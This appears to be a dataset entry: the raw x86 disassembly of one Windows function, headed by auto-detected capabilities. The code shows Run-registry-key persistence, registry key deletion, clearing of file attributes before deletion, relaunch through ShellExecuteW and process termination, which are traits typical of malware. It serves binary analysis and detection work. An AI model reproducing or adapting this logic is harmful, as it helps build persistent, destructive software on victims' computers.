Function at 0x1314ac3c
Capabilities:
Create process on windows
Delete file
Delete registry key
Persist via run registry key
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x114
push 0
push 0
dec ecx
jne 0x1314ac44
push ebx
push esi
push edi
mov eax, 0x1314aba8
call fcn.1314492c
xor eax, eax
push ebp
push 0x1314bc69
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x1314ac20
call fcn.13143320
mov eax, dword [0x1314c1cc]
mov byte [eax], 1
push 0x8007
call sub.KERNEL32.DLL_SetErrorMode
push 0x64
call sub.KERNEL32.DLL_Sleep
lea edx, [ebp - 0x18]
mov eax, 1
call fcn.131457c4
mov eax, dword [ebp - 0x18]
mov edx, 0x1314bc80
call fcn.13143c40
jne 0x1314ace0
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.131457c4
mov edx, dword [ebp - 0x1c]
mov eax, 0x13156280
call fcn.13143a0c
push 0
push 0
push 0
mov eax, dword [0x13156280]
call fcn.13143b18
push eax
push 0x1314bc90
push 0
call sub.shell32.dll_ShellExecuteW_1
push 0
call sub.KERNEL32.DLL_ExitProcess
push 0x1314bc9c
push 0
push 0
call fcn.13144a38
mov edi, eax
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xb7
jne 0x1314ad06
push 0x1770
call sub.KERNEL32.DLL_Sleep
push edi
call sub.KERNEL32.DLL_CloseHandle
mov eax, 0x13155cb0
mov edx, 0x5cc
call fcn.13145d2c
lea edx, [ebp - 0x5e8]
xor eax, eax
call fcn.13144d18
lea esi, [ebp - 0x5e8]
mov edi, 0x13155cb0
mov ecx, 0x173
rep movsd dword es:[edi], dword [esi]
mov eax, 0x13155cb0
mov ecx, 0x1314bcbc
mov edx, 0x5cc
call fcn.13144dfc
mov eax, 0x1315627c
mov edx, 0x1314bcd0
call fcn.13143a0c
mov eax, dword [0x1315627c]
call fcn.13143b18
push eax
push 0x80000001
call sub.shlwapi.dll_SHDeleteKeyW
mov eax, 0x1315627c
mov edx, 0x13155f84
mov ecx, 0xb
call fcn.13143aec
mov eax, dword [0x1315627c]
push eax
push 2
mov ecx, 0x1314bcfc
mov edx, 0x1314bcd0
mov eax, 0x80000001
call fcn.131451fc
lea eax, [ebp - 0x7f8]
call fcn.131454fc
lea edx, [ebp - 0x7f8]
lea eax, [ebp - 0x5ec]
mov ecx, 0x105
call fcn.13143718
lea eax, [ebp - 0x5ec]
mov edx, 0x1314bd10
call fcn.13143750
mov edx, dword [ebp - 0x5ec]
mov eax, 0x13156280
call fcn.13143b08
lea edx, [ebp - 0x7f8]
mov eax, dword [0x13156280]
call fcn.1314505c
lea esi, [ebp - 0x7f8]
mov edi, 0x131566ac
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, 0x131566ac
call fcn.13145844
cmp al, 1
jne 0x1314afaa
lea eax, [ebp - 0x7f8]
call fcn.131454fc
lea edx, [ebp - 0x7f8]
lea eax, [ebp - 0x800]
mov ecx, 0x105
call fcn.13143718
push dword [ebp - 0x800]
push 0x1314bd10
lea eax, [ebp - 0x804]
mov edx, 0x13155f84
mov ecx, 0xb
call fcn.13143718
push dword [ebp - 0x804]
push 0x1314bd2c
lea eax, [ebp - 0x7fc]
mov edx, 4
call fcn.13143808
mov edx, dword [ebp - 0x7fc]
mov eax, 0x13156280
call fcn.13143b08
lea eax, [ebp - 0x7f8]
call fcn.131454fc
lea edx, [ebp - 0x7f8]
lea eax, [ebp - 0x80c]
mov ecx, 0x105
call fcn.13143718
push dword [ebp - 0x80c]
push 0x1314bd10
lea eax, [ebp - 0x810]
mov edx, 0x13155f84
mov ecx, 0xb
call fcn.13143718
push dword [ebp - 0x810]
push 0x1314bd3c
lea eax, [ebp - 0x808]
mov edx, 4
call fcn.13143808
mov edx, dword [ebp - 0x808]
mov eax, 0x13156284
call fcn.13143b08
lea edx, [ebp - 0x7f8]
mov eax, dword [0x13156284]
call fcn.1314505c
lea esi, [ebp - 0x7f8]
mov edi, 0x13153cb2
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x7f8]
call fcn.131454fc
lea edx, [ebp - 0x7f8]
lea eax, [ebp - 0x818]
mov ecx, 0x105
call fcn.13143718
push dword [ebp - 0x818]
push 0x1314bd10
lea eax, [ebp - 0x81c]
mov edx, 0x13155f84
mov ecx, 0xb
call fcn.13143718
push dword [ebp - 0x81c]
push 0x1314bd4c
lea eax, [ebp - 0x814]
mov edx, 4
call fcn.13143808
mov edx, dword [ebp - 0x814]
mov eax, 0x13156284
call fcn.13143b08
lea edx, [ebp - 0x7f8]
mov eax, dword [0x13156284]
call fcn.1314505c
lea esi, [ebp - 0x7f8]
mov edi, 0x13150fd4
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
jmp 0x1314b106
lea eax, [ebp - 0x7f8]
call fcn.131454fc
lea edx, [ebp - 0x7f8]
lea eax, [ebp - 0x820]
mov ecx, 0x105
call fcn.13143aec
push dword [ebp - 0x820]
push dword [0x1314c170]
lea eax, [ebp - 0x824]
mov edx, 0x13155f84
mov ecx, 0xb
call fcn.13143aec
push dword [ebp - 0x824]
push 0x1314bd58
mov eax, 0x13156280
mov edx, 4
call fcn.13143bf8
lea eax, [ebp - 0x7f8]
call fcn.131454fc
lea edx, [ebp - 0x7f8]
lea eax, [ebp - 0x828]
mov ecx, 0x105
call fcn.13143aec
push dword [ebp - 0x828]
push dword [0x1314c170]
lea eax, [ebp - 0x82c]
mov edx, 0x13155f84
mov ecx, 0xb
call fcn.13143aec
push dword [ebp - 0x82c]
push 0x1314bd68
mov eax, 0x13156284
mov edx, 4
call fcn.13143bf8
lea edx, [ebp - 0x7f8]
mov eax, dword [0x13156284]
call fcn.1314505c
lea esi, [ebp - 0x7f8]
mov edi, 0x13153cb2
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x7f8]
call fcn.131454fc
lea edx, [ebp - 0x7f8]
lea eax, [ebp - 0x830]
mov ecx, 0x105
call fcn.13143aec
push dword [ebp - 0x830]
push dword [0x1314c170]
lea eax, [ebp - 0x834]
mov edx, 0x13155f84
mov ecx, 0xb
call fcn.13143aec
push dword [ebp - 0x834]
push 0x1314bd78
mov eax, 0x13156284
mov edx, 4
call fcn.13143bf8
lea edx, [ebp - 0x7f8]
mov eax, dword [0x13156284]
call fcn.1314505c
lea esi, [ebp - 0x7f8]
mov edi, 0x13150fd4
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, dword [0x13156280]
call fcn.13143b18
call fcn.13145930
test al, al
je 0x1314b20d
push 0x80
mov eax, dword [0x13156280]
call fcn.13143b18
push eax
call sub.KERNEL32.DLL_SetFileAttributesW
mov eax, dword [0x13156280]
call fcn.13143b18
mov edx, 0x13156290
call fcn.13145958
mov dword [0x13156288], eax
mov dword [0x1315628c], edx
mov eax, dword [0x13156280]
call fcn.13143b18
call fcn.131459e0
mov ecx, 0x1314bcbc
mov edx, dword [0x13156288]
mov eax, dword [0x13156290]
call fcn.13144dfc
mov eax, 0x13155cb0
mov edx, 0x5cc
call fcn.13145d2c
mov eax, 0x13155cb0
mov ecx, 0x5cc
mov edx, dword [0x13156290]
call fcn.13144cc8
cmp dword [0x13156278], 0x1e240
je 0x1314b20d
push 0x80
mov eax, dword [0x13156280]
call fcn.13143b18
push eax
call sub.KERNEL32.DLL_SetFileAttributesW
mov eax, dword [0x13156280]
call fcn.13143b18
push eax
call sub.KERNEL32.DLL_DeleteFileW
mov eax, 0x13155cb0
mov edx, 0x5cc
call fcn.13145d2c
lea edx, [ebp - 0x5e8]
xor eax, eax
call fcn.13144d18
lea esi, [ebp - 0x5e8]
mov edi, 0x13155cb0
mov ecx, 0x173
rep movsd dword es:[edi], dword [esi]
mov eax, 0x13155cb0
mov ecx, 0x1314bcbc
mov edx, 0x5cc
call fcn.13144dfc
push 0x80
mov eax, dword [0x13156280]
call fcn.13143b18
push eax
call sub.KERNEL32.DLL_SetFileAttributesW
mov eax, dword [0x13156280]
call fcn.13143b18
push eax
call sub.KERNEL32.DLL_DeleteFileW
mov eax, 0x5cc
call fcn.131424c8
mov dword [0x13156290], eax
mov edx, 0x13155cb0
mov ecx, 0x5cc
mov eax, dword [0x13156290]
call fcn.13144cc8
mov ecx, 0x1314bcbc
mov edx, 0x5cc
mov eax, dword [0x13156290]
call fcn.13144dfc
push 0
push 0x5cc
mov eax, dword [0x13156280]
call fcn.13143b18
mov edx, dword [0x13156290]
call fcn.13145640
mov eax, dword [0x13156280]
call fcn.13143b18
call fcn.131459e0
mov esi, 0x13155cb0
mov edi, 0x13154ebc
mov ecx, 0x173
rep movsd dword es:[edi], dword [esi]
push 0x13155f84
push 0
push 0
call fcn.13144a38
mov edi, eax
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xb7
jne 0x1314b2c8
push 0
call sub.KERNEL32.DLL_ExitProcess
push edi
call sub.KERNEL32.DLL_CloseHandle
mov eax, 0x131564a0
call fcn.1314a5a8
lea eax, [ebp - 0x838]
mov edx, 0x131564a0
mov ecx, 0x105
call fcn.13143aec
mov eax, dword [ebp - 0x838]
push eax
push 2
lea eax, [ebp - 0x844]
mov edx, 0x13155f84
mov ecx, 0xb
call fcn.13143718
mov ecx, dword [ebp - 0x844]
lea eax, [ebp - 0x840]
mov edx, 0x1314bd8c
call fcn.13143794
mov edx, dword [ebp - 0x840]
lea eax, [ebp - 0x83c]
call fcn.13143b08
mov edx, dword [ebp - 0x83c]
mov ecx, 0x1314bd9c
mov eax, 0x80000001
call fcn.131451fc
cmp byte [0x131561b0], 1
jne 0x1314b363
call fcn.1314a904
test al, al
jne 0x1314b363
push 0x13155cb0
call fcn.1314a9a0
push 0x20a
push 0x13150dc8
push 0
call sub.KERNEL32.DLL_GetModuleFileNameW
mov ebx, 5
mov esi, 0x13155cb0
mov edi, 0x13155cc4
mov dword [ebp - 0x14], 0x131511de
call fcn.13142630
cmp dword [esi], 0
jle 0x1314b471
lea eax, [ebp - 0x848]
mov edx, edi
mov ecx, 0x29
call fcn.13143718
cmp dword [ebp - 0x848], 0
je 0x1314b471
push 0x1314bdc0
lea eax, [ebp - 0x854]
mov edx, edi
mov ecx, 0x29
call fcn.13143718
push dword [ebp - 0x854]
push 0x1314bdd0
lea eax, [ebp - 0x850]
mov edx, 3
call fcn.13143808
mov edx, dword [ebp - 0x850]
lea eax, [ebp - 0x84c]
call fcn.13143b08
push dword [ebp - 0x84c]
mov eax, dword [esi]
cdq
push edx
push eax
lea eax, [ebp - 0x858]
call fcn.13145008
push dword [ebp - 0x858]
push 0x1314bdd8
mov eax, dword [0x13155e60]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x85c]
call fcn.13145008
push dword [ebp - 0x85c]
push 0x1314bde0
mov eax, 0x13156280
mov edx, 5
call fcn.13143bf8
lea edx, [ebp - 0x7f8]
mov eax, dword [0x13156280]
call fcn.1314505c
mov eax, dword [ebp - 0x14]
push esi
push edi
lea esi, [ebp - 0x7f8]
mov edi, eax
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
pop edi
pop esi
lea eax, [ebp - 0x860]
call fcn.13149e00
push dword [ebp - 0x860]
mov eax, 0x1869f
call fcn.13142a48
cdq
push edx
push eax
lea eax, [ebp - 0x864]
call fcn.13145008
push dword [ebp - 0x864]
push 0x1314bd68
mov eax, 0x13156280
mov edx, 3
call fcn.13143bf8
lea edx, [ebp - 0x7f8]
mov eax, dword [0x13156280]
call fcn.1314505c
mov eax, dword [ebp - 0x14]
push esi
push edi
lea esi, [ebp - 0x7f8]
lea edi, [eax + 0xa32]
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
pop edi
pop esi
add dword [ebp - 0x14], 0x20a
add edi, 0x52
add esi, 4
dec ebx
jne 0x1314b38a
lea eax, [ebp - 0x86c]
mov edx, 0x13155f16
mov ecx, 0x29
call fcn.13143718
mov ecx, dword [ebp - 0x86c]
lea eax, [ebp - 0x868]
mov edx, 0x1314be00
call fcn.13143794
mov edx, dword [ebp - 0x868]
mov eax, 0x13156284
call fcn.13143b08
lea edx, [ebp - 0x7f8]
mov eax, dword [0x13156284]
call fcn.1314505c
lea esi, [ebp - 0x7f8]
mov edi, 0x13155aa6
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, 0x13156284
mov edx, 0x1314be3c
call fcn.13143a0c
lea edx, [ebp - 0x7f8]
mov eax, dword [0x13156284]
call fcn.1314505c
lea esi, [ebp - 0x7f8]
mov edi, 0x1315589c
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x874]
mov edx, 0x13150dc8
mov ecx, 0x105
call fcn.13143aec
mov eax, dword [ebp - 0x874]
lea ecx, [ebp - 0x870]
mov edx, 0x13155cb0
call fcn.131469dc
mov edx, dword [ebp - 0x870]
mov eax, 0x13156280
call fcn.13143a0c
mov edx, 0x13155cb0
mov eax, dword [0x13156280]
call fcn.13146e34
lea edx, [ebp - 0x7f8]
mov eax, dword [0x13156280]
call fcn.1314505c
lea esi, [ebp - 0x7f8]
mov edi, 0x13155488
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edx, [ebp - 0x878]
mov eax, dword [0x13156280]
call fcn.13145b44
mov edx, dword [ebp - 0x878]
mov eax, 0x13156284
call fcn.13143a0c
lea edx, [ebp - 0x7f8]
mov eax, dword [0x13156284]
call fcn.1314505c
lea esi, [ebp - 0x7f8]
mov edi, 0x13155692
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp byte [0x13155ec5], 1
jne 0x1314b655
mov eax, 0x13155692
call fcn.131459e0
mov eax, 0x13155488
call fcn.131459e0
lea eax, [ebp - 0x87c]
mov edx, 0x13155488
mov ecx, 0x105
call fcn.13143aec
mov eax, dword [ebp - 0x87c]
push eax
push 2
lea eax, [ebp - 0x888]
mov edx, 0x13155f84
mov ecx, 0xb
call fcn.13143718
mov ecx, dword [ebp - 0x888]
lea eax, [ebp - 0x884]
mov edx, 0x1314bd8c
call fcn.13143794
mov edx, dword [ebp - 0x884]
lea eax, [ebp - 0x880]
call fcn.13143b08
mov edx, dword [ebp - 0x880]
mov ecx, 0x1314be9c
mov eax, 0x80000001
call fcn.131451fc
mov edx, 0x13156290
mov eax, 0x13150dc8
call fcn.13145958
mov ebx, 0xa
mov esi, 0x13152642
mov eax, esi
mov edx, 0x20a
call fcn.13145d2c
add esi, 0x20a
dec ebx
jne 0x1314b6dd
mov eax, 0x13156280
mov edx, 0x1315615e
mov ecx, 0x29
call fcn.13143aec
mov eax, dword [0x13156280]
xor edx, edx
call fcn.13143c40
setne al
mov byte [0x13153aa6], al
xor ebx, ebx
jmp 0x1314b793
push 0x13156284
mov edx, dword [0x13156280]
mov eax, 0x1314bec0
call fcn.13143da0
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [0x13156280]
call fcn.13143cc4
lea edx, [ebp - 0x7f8]
mov eax, dword [0x13156284]
call fcn.1314505c
imul eax, ebx, 0x105
lea esi, [ebp - 0x7f8]
lea edi, [eax*2 + 0x13152642]
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edx, dword [0x13156280]
mov eax, 0x1314bec0
call fcn.13143da0
mov ecx, eax
mov eax, 0x13156280
mov edx, 1
call fcn.13143d10
inc ebx
mov edx, dword [0x13156280]
mov eax, 0x1314bec0
call fcn.13143da0
test eax, eax
jle 0x1314b7b0
cmp ebx, 9
jle 0x1314b71e
cmp ebx, 9
jg 0x1314b82c
mov eax, dword [0x13156280]
xor edx, edx
call fcn.13143c40
je 0x1314b82c
push 0x13156284
mov edx, dword [0x13156280]
mov eax, 0x1314bec0
call fcn.13143da0
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [0x13156280]
call fcn.13143cc4
mov edx, dword [0x13156280]
mov eax, 0x1314bec0
call fcn.13143da0
test eax, eax
jle 0x1314b858
lea edx, [ebp - 0x7f8]
mov eax, dword [0x13156284]
call fcn.1314505c
imul eax, ebx, 0x105
lea esi, [ebp - 0x7f8]
lea edi, [eax*2 + 0x13152642]
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
jmp 0x1314b858
lea edx, [ebp - 0x7f8]
mov eax, dword [0x13156280]
call fcn.1314505c
imul eax, ebx, 0x105
lea esi, [ebp - 0x7f8]
lea edi, [eax*2 + 0x13152642]
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x890]
mov edx, 0x13155f84
mov ecx, 0xb
call fcn.13143718
mov ecx, dword [ebp - 0x890]
lea eax, [ebp - 0x88c]
mov edx, 0x1314bd8c
call fcn.13143794
mov edx, dword [ebp - 0x88c]
mov eax, 0x13156284
call fcn.13143b08
lea edx, [ebp - 0x7f8]
mov eax, dword [0x13156284]
call fcn.1314505c
lea esi, [ebp - 0x7f8]
mov edi, 0x13153aa8
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [ebp - 0x894]
mov edx, 0x13153cb2
mov ecx, 0x105
call fcn.13143718
lea eax, [ebp - 0x894]
mov edx, 0x1314becc
call fcn.13143750
mov edx, dword [ebp - 0x894]
mov eax, 0x13156280
call fcn.13143b08
lea edx, [ebp - 0x7f8]
mov eax, dword [0x13156280]
call fcn.1314505c
lea esi, [ebp - 0x7f8]
mov edi, 0x13153ebc
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
cmp byte [0x13155f82], 1
jne 0x1314b984
push 0x13155fd2
push 0
push 0
call fcn.13144a38
mov edi, eax
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xb7
je 0x1314b97e
push edi
call sub.KERNEL32.DLL_CloseHandle
lea edx, [ebp - 0x7f8]
mov eax, 0x1314bed4
call fcn.1314505c
lea esi, [ebp - 0x7f8]
mov edi, 0x13156294
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, 0x13156294
call fcn.13146024
mov esi, eax
mov ecx, 0x13154ebc
mov edx, 0x1314a358
mov eax, esi
call fcn.13145f7c
jmp 0x1314b984
push edi
call sub.KERNEL32.DLL_CloseHandle
lea eax, [ebp - 0x898]
mov edx, 0x13155ec6
mov ecx, 0x11
call fcn.13143aec
mov eax, dword [ebp - 0x898]
mov edx, dword [0x1314c178]
call fcn.13143c40
jne 0x1314b9b0
xor esi, esi
jmp 0x1314ba25
lea eax, [ebp - 0x89c]
mov edx, 0x13155ec6
mov ecx, 0x11
call fcn.13143aec
mov eax, dword [ebp - 0x89c]
mov edx, dword [0x1314c174]
call fcn.13143c40
jne 0x1314ba05
lea eax, [ebp - 0x7f8]
call fcn.13145458
lea esi, [ebp - 0x7f8]
mov edi, 0x13156294
mov ecx, 0x82
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov eax, 0x13156294
call fcn.13146024
mov esi, eax
jmp 0x1314ba25
mov edx, 0x13155ec6
mov eax, 0x13156294
mov ecx, 0x22
call fcn.13144cc8
mov eax, 0x13156294
call fcn.13146024
mov esi, eax
push esi
mov esi, 0x13154ebc
mov edi, 0x131540c8
mov ecx, 0x37d
rep movsd dword es:[edi], dword [esi]
pop esi
push 0x13150fd4
push 0
push 0x3ee8
push 2
mov ecx, 0x1314beec
mov edx, 0x1314befc
mov eax, 0x80000001
call fcn.13149d34
xor ebx, ebx
xor eax, eax
mov dword [0x13156290], eax
test esi, esi
jne 0x1314ba7d
mov eax, 0x13155cb0
call fcn.13146160
push 0
call fcn.13149e2c
jmp 0x1314bba8
mov edx, fcn.13149e2c
xor ecx, ecx
mov eax, esi
call fcn.13145f7c
mov dword [0x13156290], eax
push 0x1f4
call sub.KERNEL32.DLL_Sleep
cmp dword [0x13156290], 0
jne 0x1314babd
mov eax, dword [0x1314c17c]
mov eax, dword [eax]
push eax
push esi
call sub.KERNEL32.DLL_TerminateProcess
mov eax, 0x13156294
call fcn.13146024
mov esi, eax
inc ebx
push 0x1314bf24
push 0
push 0
call fcn.13144a38
mov edi, eax
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xb7
sete byte [0x131568b6]
push edi
call sub.KERNEL32.DLL_CloseHandle
cmp byte [0x131568b6], 0
jne 0x1314bb08
mov eax, dword [0x1314c17c]
mov eax, dword [eax]
push eax
push esi
call sub.KERNEL32.DLL_TerminateProcess
mov eax, 0x13156294
call fcn.13146024
mov esi, eax
cmp ebx, 7
jge 0x1314bb1a
cmp byte [0x131568b6], 1
jne 0x1314ba7d
mov eax, 0x13155cb0
call fcn.13146160
cmp dword [0x13156290], 0
jne 0x1314bb42
mov eax, dword [0x1314c17c]
mov eax, dword [eax]
push eax
push esi
call sub.KERNEL32.DLL_TerminateProcess
push 0
call fcn.13149e2c
cmp byte [0x13155ec4], 0
je 0x1314bba8
mov eax, 0x13156280
mov edx, 0x13155488
mov ecx, 0x105
call fcn.13143aec
lea edx, [ebp - 0x8a0]
xor eax, eax
call fcn.131457c4
mov edx, dword [ebp - 0x8a0]
mov eax, 0x13156284
call fcn.13143a0c
push 0x80
mov eax, dword [0x13156284]
call fcn.13143b18
push eax
call sub.KERNEL32.DLL_SetFileAttributesW
mov eax, dword [0x13156280]
mov edx, dword [0x13156284]
call fcn.13143c40
je 0x1314bba8
call fcn.1314a60c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1314bc73
lea eax, [ebp - 0x8a0]
mov edx, 3
call fcn.131439e8
lea eax, [ebp - 0x894]
mov edx, 5
call fcn.13143568
lea eax, [ebp - 0x880]
mov edx, 5
call fcn.131439e8
lea eax, [ebp - 0x86c]
mov edx, 2
call fcn.13143568
lea eax, [ebp - 0x864]
mov edx, 4
call fcn.131439e8
lea eax, [ebp - 0x854]
mov edx, 2
call fcn.13143568
lea eax, [ebp - 0x84c]
call fcn.131439d0
lea eax, [ebp - 0x848]
mov edx, 3
call fcn.13143568
lea eax, [ebp - 0x83c]
mov edx, 8
call fcn.131439e8
lea eax, [ebp - 0x81c]
mov edx, 9
call fcn.13143568
lea eax, [ebp - 0x5ec]
call fcn.13143544
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.131439e8
ret